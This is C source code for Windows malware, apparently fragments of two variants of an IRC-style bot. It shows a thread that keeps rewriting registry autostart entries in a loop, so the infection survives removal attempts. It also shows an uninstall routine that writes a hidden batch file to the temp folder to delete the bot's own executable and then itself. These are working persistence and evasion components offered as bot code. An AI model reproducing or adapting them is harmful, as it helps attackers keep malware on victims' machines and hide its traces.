DWORD WINAPI AutoRegistry(LPVOID param) { char *nfilename = (char *)param; while (1) { AutoStartRegs(nfilename); Sleep(registry_delay); } return 0; }
// function for removing the bot's registry entries and executable void uninstall(void) { char cmdline[256], tcmdline[256], cfilename[MAX_PATH], batfile[MAX_PATH], tempdir[MAX_PATH]; // remove our registry entries if ((AutoStart) && !(noadvapi32)) AutoStartRegs(); GetTempPath(sizeof(tempdir), tempdir); sprintf(batfile, "%s\\r.bat", tempdir); HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); if (f > (HANDLE)0) { DWORD r; // FIX ME: this won't work on NT correctly. The command line code is in place // for melt, this is something we need to finish for uninstall. // write a batch file to remove our executable once we close WriteFile(f, "@echo off\r\n" ":start\r\nif not exist \"\"%1\"\" goto done\r\n" "del /F \"\"%1\"\"\r\n" "del \"\"%1\"\"\r\n" "goto start\r\n" ":done\r\n" "del /F %temp%\r.bat\r\n" "del %temp%\r.bat\r\n", 105, &r, NULL); CloseHandle(f); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&pinfo, 0, sizeof(pinfo)); memset(&sinfo, 0, sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));// get our file name sprintf(tcmdline, "%%comspec%% /c %s %s", batfile, cfilename); // build command line ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // put the name of the command interpreter into the command line // execute the batch file CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo); } return; }
DWORD WINAPI AutoRegistryThread(LPVOID param) { int threadnum = (int)param; char fname[_MAX_FNAME],ext[_MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename)); _splitpath(cfilename, NULL, NULL, fname, ext); _snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext); while (1) { AutoStartRegs(rfilename); Sleep(registry_delay); } clearthread(threadnum); ExitThread(0); }
void uninstall(void) { char buffer[1024], cmdline[MAX_PATH], botfile[MAX_PATH], batfile[MAX_PATH]; if ((AutoStart) && !(noadvapi32)) AutoStartRegs(); killthreadall(); GetTempPath(sizeof(buffer), buffer); sprintf(batfile, "%sdel.bat", buffer); HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); if (f > (HANDLE)0) { DWORD r; sprintf(buffer,"@echo off\r\n" ":repeat\r\n" "del \"%%1\"\r\n" "if exist \"%%1\" goto repeat\r\n" "del \"%s\"", batfile); WriteFile(f, buffer, strlen(buffer), &r, NULL); CloseHandle(f); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&pinfo, 0, sizeof(pinfo)); memset(&sinfo, 0, sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; GetModuleFileName(GetModuleHandle(NULL), botfile, sizeof(botfile)); if (GetFileAttributes(botfile) != INVALID_FILE_ATTRIBUTES) SetFileAttributes(botfile,FILE_ATTRIBUTE_NORMAL); sprintf(buffer, "%%comspec%% /c %s %s", batfile, botfile); ExpandEnvironmentStrings(buffer, cmdline, sizeof(cmdline)); CreateProcess(NULL, cmdline, NULL, NULL, TRUE, BELOW_NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo); } return; }